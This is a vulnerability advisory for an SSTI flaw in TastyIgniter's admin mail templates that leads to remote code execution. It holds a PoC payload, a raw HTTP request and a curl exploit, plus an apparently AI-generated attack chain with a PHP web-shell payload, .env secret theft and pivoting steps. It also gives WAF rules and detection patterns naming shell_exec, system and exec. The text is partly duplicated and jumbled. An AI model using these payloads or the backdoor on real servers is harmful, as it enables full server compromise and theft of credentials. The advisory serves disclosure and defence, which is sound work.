CVE-2026-69178 — Tastyigniter/tastyigniter — CWE-20 · CWE-94
### Summary **Where:** `POST /admin/mail_templates/edit/{id}` → body field **Who can trigger:** Any admin user with `Admin.MailTemplates` permission **Impact:** Arbitrary PHP execution on the server — full RCE ### Details The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization. ### PoC - login as admin - create new mail template with following command ``` @php echo shell_exec('echo "RCE Executed";id'); @endphp ``` - save the request - execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate` Request ```http POST /admin/mail_templates/edit/20 HTTP/1.1 Host: localhost:8888 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest X-IGNITER-REQUEST-PARTIALS: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-IGNITER-REQUEST-HANDLER: onTestTemplate Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8888/admin/mail_templates/edit/20 Accept-Encoding: gzip, deflate, br Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1
### Summary **Where:** `POST /admin/mail_templates/edit/{id}` → body field **Who can trigger:** Any admin user with `Admin.MailTemplates` permission **Impact:** Arbitrary PHP execution on the server — full RCE ### Details The Mail templates is vulnerable to SSTI and did not perform an validation and sanitization. ### PoC - login as admin - create new mail template with following command ``` @php echo shell_exec('echo "RCE Executed";id'); @endphp ``` - save the request - execute the request using `X-IGNITER-REQUEST-HANDLER: onTestTemplate` Request ```http POST /admin/mail_templates/edit/20 HTTP/1.1 Host: localhost:8888 Content-Length: 47 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 sec-ch-ua-platform: "Linux" X-CSRF-TOKEN: L22Pxu6L5hHmHgoC4RB1Zz5Py16muXvsRIOBtxuY Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest X-IGNITER-REQUEST-PARTIALS: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-IGNITER-REQUEST-HANDLER: onTestTemplate Origin: http://localhost:8888 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost:8888/admin/mail_templates/edit/20 Accept-Encoding: gzip, deflate, br Cookie: laravel_session=eyJpdiI6IkxRY3hrdXkyY01mN3RONXZwNjlDRnc9PSIsInZhbHVlIjoibkZSNHNWWW5hTDZtWXpIbmdnUkM0aFJZZFJRM2V5czVXWUd6TkxwUVFhUUplVGNuY3B5Z1NKZk9TMlc1R1
🎯 What is this vulnerability?
This vulnerability is a Server-Side Template Injection (SSTI) leading to Remote Code Execution (RCE) in the tastyigniter/tastyigniter CMS.
Technical Flaw Analysis:
1. Missing Input Sanitization: The application accepts user-supplied data for mail templates via the POST /admin/mail_templates/edit/{id} endpoint. It fails to sanitize or escape PHP tags (<?php, @php, @endphp) within the template body.
2. Unsafe Template Rendering: The backend uses a templating engine (likely Laravel Blade, given the X-IGNITER-REQUEST-HANDLER and laravel_session cookie) that processes the stored template content. When the "Test Template" feature is triggered, the engine compiles and executes the raw string as PHP code.
3. CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine): The system treats user input as trusted code rather than data.
4. Authentication Context: The vulnerability requires High Privilege (PR:H) access. Only users with the Admin.MailTemplates permission can trigger this. This is a critical flaw for any environment where admin accounts are compromised, or where internal users with limited admin rights can escalate to full system compromise.
CVSS Vector Interpretation:
AV:N: Exploitable over the network.AC:L: Low complexity; no race conditions or specific timing required.PR:H: Requires valid admin credentials.UI:N: No user interaction needed after authentication.S:C: Scope is Changed. The vulnerable component (web app) allows compromise of the underlying operating system (PHP process).C:H/I:H/A:H: Full compromise of Confidentiality, Integrity, and Availability of the server.- Fingerprinting: Identify the target as running TastyIgniter. Look for specific headers, default paths (
/admin), or unique error messages. - Credential Acquisition: Obtain valid admin credentials via: * Brute force (if no rate limiting). * Credential stuffing. * Compromise of a lower-privileged user who has
⚡ Attack Chain
1. Discovery & Reconnaissance
Admin.MailTemplates permission (if permissions are misconfigured).
* Session hijacking.2. Exploitation
Prerequisite: Valid session cookie (laravel_session) and CSRF token.Step 1: Inject Payload
The attacker sends a POST request to edit a mail template. The payload is a PHP code snippet wrapped in Blade-style directives (@php ... @endphp) or raw PHP tags, depending on the engine's strictness. The CVE description explicitly uses @php echo shell_exec('...'); @endphp.
Illustrative PoC (curl):
# 1. Login to obtain CSRF token and session cookie
# (Assuming standard Laravel login flow)
CSRF_TOKEN="<extracted_from_login_page>"
SESSION_COOKIE="<extracted_from_login_response>"
# 2. Inject SSTI Payload into Mail Template
# Note: The exact ID (20) and CSRF token must be valid for the session.
curl -X POST "http://target.com/admin/mail_templates/edit/20" \
-H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" \
-H "X-CSRF-TOKEN: $CSRF_TOKEN" \
-H "X-Requested-With: XMLHttpRequest" \
-H "X-IGNITER-REQUEST-HANDLER: onTestTemplate" \
-H "Cookie: laravel_session=$SESSION_COOKIE" \
-d "body=@php echo shell_exec('id'); @endphp"Step 2: Trigger Execution
The X-IGNITER-REQUEST-HANDLER: onTestTemplate header instructs the backend to render the template immediately for preview/testing. This causes the PHP engine to execute the injected shell_exec('id') command.
Alternative Trigger:
If the onTestTemplate handler is not present, the attacker may need to trigger a mail send action (e.g., "Send Test Email") that renders the template.
3. Post-Exploitation
id command (e.g., uid=33(www-data) gid=33(www-data) groups=33(www-data)).@php file_put_contents('/var/www/html/shell.php', '<?php @eval($_POST["cmd"]); ?>'); @endphp.env file to obtain database credentials, API keys, and AWS secrets.
* Dump the database.
* Pivot to internal network using the compromised server.🌍 Real World Impact
.env, config.php) exposes secrets.Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
tastyigniter/tastyigniter to the latest patched version. Check the vendor's GitHub repository or release notes for a fix addressing SSTI in mail templates.2. Workarounds (If Immediate Upgrade is Not Possible)
Admin.MailTemplates permission for all users except a dedicated, highly monitored account.body parameter of the /admin/mail_templates/edit/ endpoint.SecRule REQUEST_URI "@rx /admin/mail_templates/edit/" \
"id:100001,phase:1,deny,status:403,msg:'SSTI Attempt in Mail Template',log"
SecRule ARGS:body "@rx <\?php|@php|shell_exec|system|exec" \
"id:100002,phase:2,deny,status:403,msg:'PHP Code Detected in Mail Template Body',log"autoescape enabled and no raw filter for user input).3. Detection
/admin/mail_templates/edit/ with body parameters containing:@php
* <?php
* shell_exec
* system
* exec
* passthru
/var/www/html/).php-fpm or apache processes spawning shell commands (/bin/sh, /bin/bash).shell.php, backdoor.php, or random names.
* Outbound connections from the web server to unknown IPs.
* Unusual cron jobs added by the www-data user.⚠️ Urgency
Rationale:
While the vulnerability requires admin access, the impact is severe (full RCE). In many environments, admin credentials are compromised via phishing, credential stuffing, or insider threats. Once an attacker has admin access, this vulnerability provides an easy path to full system compromise. It should be patched as soon as a fix is available, ideally within 7 days. If admin accounts are well-protected (MFA, strong passwords, limited access), the risk is lower, but still significant due to the potential for lateral movement.
Immediate Actions:
1. Verify if you are running an affected version.
2. Apply the vendor patch.
3. Audit admin accounts and enforce MFA.
4. Review web server logs for signs of exploitation.
5. Implement WAF rules as a temporary mitigation.
[🤖 CVE Professor AI Security Engine]
FOFA Query